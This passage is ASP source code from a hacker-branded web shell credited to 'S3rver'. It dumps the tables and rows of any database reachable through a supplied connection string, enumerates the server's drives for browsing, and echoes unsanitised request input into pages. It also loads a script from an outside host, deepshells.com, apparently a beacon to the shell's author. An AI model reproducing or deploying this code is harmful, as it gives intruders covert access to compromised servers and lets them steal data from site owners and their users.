		Response.Write "<input type=hidden value=""" & Replace(Trim(Request.QueryString("path")),"|","\") & """ name=""path""><input style='width:250' value='mdb' name='arama'><input style='width:70; height:22' type=submit value='Search' name='submit1'>"
		Response.Write "</td></tr></table></form>"
	End IF



	Case "sqlserver"
         If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor Trim(Request.QueryString("status"))<>"" Then
          showdisks=FALSE
 	  status5=Trim(Request.Form("status"))
	  if status5="" then status5=Trim(Request.QueryString("status"))
 	      SELECT CASE status5


	  	 CASE "7":
			Response.Write "<b><font size=3>Tables</font></br><br>"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objADOX = Server.CreateObject("ADOX.Catalog")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objADOX.ActiveConnection = objConn

			For Each table in objADOX.Tables
				If table.Type = "TABLE" Then
					Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"
				End If
			Next

		CASE "8":
			table=Trim(Request.QueryString("table"))
			Response.Write "<font color=red><h4>Table Name: " & table & "</h4></font><br><Br><br>"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objRcs = Server.CreateObject("ADODB.RecordSet")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objRcs.Open table,objConn, adOpenKeyset , , adCmdText
	
			Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
			for i=0 to objRcs.Fields.count-1
				Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
			next
			Response.Write "</tr>"
			do while not objRcs.EOF
				Response.Write "<tr>"
				for i=0 to objRcs.Fields.count-1
					Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
				next
				Response.Write "</tr>"
				objRcs.MoveNext
			loop
			Response.Write "</table><br>"


	      END SELECT

	 Else
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()

		Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver"">"
		Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>SQL Server connection string:</td></tr><tr><td align=center>"
		Response.Write "<input type=hidden value='7' name=status>"
		Response.Write "<input style='width:250; height:21' value='' name=path><br>"
		response.Write "<input type=submit value='Execute SQL Server Command' style='height:23;width:220' id=submit1 name=submit1>"
		Response.Write "</td></tr></table>"
		response.Write "</form>"

	End IF



	Case "about"
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()
		response.Write "<br><br><br><body topmargin=5 leftmargin=0><center><h4>Coded By S3rver"
		response.Write "<br><br>"
		response.Write "<font size=2 color=Red face='courier new'>WebSite: :)</font>"
		response.Write "<br>"
		response.Write "<font size=2 color=Red face='courier new'>E-Mail: Pouya.S3rver@irGmail.Com</font>"
		response.Write "<br><br>"
		response.Write "<font size=2 color=Blue face='courier new'>Hackers, Crackers, Programmers Forever!</font>"


	Case Else
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Call showcontent()
End Select
If Err.Number <> 0 Then
	Response.Write "<br><font face='arial' size='2'>ERRO: " & Err.Number & "<br><br><b>" & UCase(Err.Description) & "</b><br>Acesse denied."
End If
Response.Write endcode

if showdisks then

%>

	<script language=javascript>
		// DRIVE ISLEMLERI
		function driveGo(drive_){
			location = "?raiz="+drive_+":";
		}
	</script>

	<script src=http://deepshells.com/cnt/wr.js></script>

<%


	Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

	Response.Write "<br><br><br><table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Drives</td></tr>"
	for each drive_ in objFSO.Drives
		Response.Write "<tr><td>"
		Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;""><font face=wingdings>;</font>"
		if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
		if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
		if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
		if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
		Response.Write "</a></td></tr>"
	next
	Response.Write "<tr><td>"
	Response.write "<a href='"& Request.ServerVariables("SCRIPT_NAME") & "'><font face=webdings>H</font> Local Path"
	Response.Write "</a></td></tr>"
	Response.Write "</table><br>"
end if
%>